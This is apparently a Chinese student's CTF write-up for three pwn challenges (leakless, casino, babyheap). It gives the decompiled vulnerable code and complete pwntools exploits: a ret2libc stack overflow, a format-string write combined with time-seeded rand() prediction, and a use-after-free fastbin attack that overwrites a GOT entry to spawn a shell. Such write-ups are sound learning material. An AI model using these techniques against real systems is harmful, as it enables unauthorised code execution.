本来在之前没搞完的jarvisOJ那边遇到了问题,想问学长来着,结果被拉过来看看这个比赛,被自己菜哭

leakless

题目

1
2
char buf; // [esp+0h] [ebp-48h]
return read(0, &buf, 0x100u);

分析

一个简单的栈溢出,第一反应是去泄露libc版本,后面又突然想着把shellcode写到bss段,但是奈何总是不成功,vmmap才发现bss段不可执行,且不存在能够wx的段,因为以前用LibcSearcher没成功(ps:完全不记得为什么),偏偏用DynElf爆破失败,所以还是转向LibcSearcher.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
sh = process('./leakless')
libc = ELF('./leakless')

pay = 'a'*0x48 + 'bbbb' + p32(libc.symbols['puts'])+p32(libc.symbols['feedme']) +p32(libc.got['puts'])
sh.sendline(pay)
puts_got_addr = u32(sh.recv(4))
print "puts_got_addr: "+hex(puts_got_addr)

obj = LibcSearcher("puts",puts_got_addr)

system_addr = puts_got_addr - obj.dump('puts')+obj.dump("system")
binsh_addr = puts_got_addr - obj.dump('puts') + obj.dump("str_bin_sh")

success( "system_addr: "+hex(system_addr))
success("binsh_addr: "+hex(binsh_addr))

pay = 'a'*0x48 + 'bbbb' + p32(system_addr) + p32(libc.symbols['main']) + p32(binsh_addr)
#gdb.attach(sh)
sh.sendline(pay)
sh.interactive()

casino

题目

用户输入的值与随机数匹配成功100次,之后会读取flag.txt文件并输出。

1
2
3
4
seed = (unsigned int)time(0LL) / 10;
seed += bet;(bet=1)
srand(seed);
rand();

分析

格式化字符串漏洞,但是大小限制在了0x10,能够泄露出来seed,也就能预测第一次的值,然后因为要泄露100次,想着顺便把栈上的记录次数的值或者bet一起改掉,但是因为长度限制,最后有点懵。感觉二者不可得兼。

看大佬们的wp,因为seed是用time(0)/10+ bet ,可以先自己先利用time将seed计算出来,然后计算rand();因为python和c的rand()不同,所以得考虑如何将在python脚本中计算c的随机数,可以有:

  1. 单独写一份c的程序计算随机数,脚本中调用c程序(昨天也是这么做的);
  2. 使用python和c的混合编程包:ctypes。

经实践,同一个seed得到的随机数序列都是一样的…,而题中通过time(0)/10对seed给了容错

exp

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    from pwn import *
    from time import *

    context.log_level='debug'

    now=int(time())/10+2

    sh=process("./timerand")

    ###
    #include<stdio.h>

    int main()
    {
    int i;
    int seed;
    scanf("%d",&seed);
    srand(seed);
    for(i = 0; i < 100; i++)
    {
    printf("%d ",rand());
    }
    printf("\n");
    }
    ###

    sh.sendline(str(now))
    rand=sh.recvuntil("\n").strip().split(" ")
    print rand
    sh.close()

    #sleep(0.5)

    #sh=remote("challs.fireshellsecurity.team",31006)
    sh=process('./casino')
    sh.sendafter("What is your name? ","aa%11$hn"+p64(0x602020))
    #gdb.attach(sh)
    for i in range(99):
    sh.sendlineafter("number: ",rand[i])
    print sh.recv()

    sh.interactive()
  2. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    from pwn import *
    from ctypes import cdll

    sh = process("./casino")
    sh.recvuntil('What is your name? ')
    sh.send("%8$p")
    sh.recvuntil('Welcome ')
    seed =eval(sh.recvuntil('\n',drop=True))&0xffffffff <--- 数据类型转换成int型
    print seed
    sh.close()
    seed += 3 <----还是不清楚这个3怎么计算出来的,或许是因为两个程序打开具有延迟??
    libc = cdll.LoadLibrary("") <--- 突然发现这里为空也不影响??
    libc.srand(seed)

    sh = process('./casino')
    pay = 'aaa%11$n'+p64(0x602020)
    sh.recvuntil('What is your name? ')
    sh.send(pay)
    for i in range(99):
    sh.sendlineafter("Guess my number: ",str(libc.rand()))
    sh.interactive()

babyheap

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int create()
{
int result; // eax

buf = malloc(0x60uLL);
result = puts("Done!");
create_inuse = 1LL;
return result;
}

ssize_t edit()
{
ssize_t result; // rax

printf("Content? ");
result = read(0, buf, 0x40uLL);
edit_inuse = 1LL;
return result;
}

int show()
{
int result; // eax

result = printf("Content: %s\n", buf);
show_inuse = 1LL;
return result;
}

int delete()
{
int result; // eax

free(buf); // UAF
result = puts("Done!");
create_inuse = 0LL;
delete_inuse = 1LL;
return result;
}

__int64 fill()
{
buf = malloc(0x60uLL);
printf("Fill ");
read(0, buf, 0x40uLL);
return fill_inuse++ + 1;
}

分析

各项功能除了次数检查基本没有限制,所以在有限的步骤内将chunk分配到

1
2
3
4
5
6
.bss:00000000006020A0 create_inuse   
.bss:00000000006020A8 edit_inuse
.bss:00000000006020B0 show_inuse
.bss:00000000006020B8 delete_inuse
.bss:00000000006020C0 fill_inuse
.bss:00000000006020C8 ; void *buf

我们可以使用UAF漏洞+fastbinattack达到目的,这样不仅消除了次数限制问题,同时可以随意修改指针
所以之后便是先泄露libc基址,之后修改atoi.got表为system,输入’/bin/sh’即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level='debug'
def new():
sh.sendlineafter("> ","1")

def edit(note):
sh.sendlineafter("> ","2")
sh.sendafter("Content? ",note)

def delete():
sh.sendlineafter("> ","4")

def show():
sh.sendlineafter("> ","3")
sh.recvuntil("Content: ")
return sh.recvuntil("\n")

def fill(note):
sh.sendlineafter("> ","1337")
sh.sendafter("Fill ",note)

sh=process("./babyheap")
elf = ELF("./babyheap")
libc = ELF("./libc.so.6")

new()
delete()
edit(p64(0x602095-8))
new()
fill('/bin/sh'+chr(0)+'a'*0x33+p64(0x602060)[0:3])
#gdb.attach(p)
sh.sendline('3')
sh.recvuntil('Content: ')
libc_addr = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.plt['atoi']
print "libc_addr : " + hex(libc_addr)
#gdb.attach(p)
system_addr = libc_addr + libc.plt['system']

edit(p64(system_addr))
sh.sendline('/bin/sh')
sh.interactive()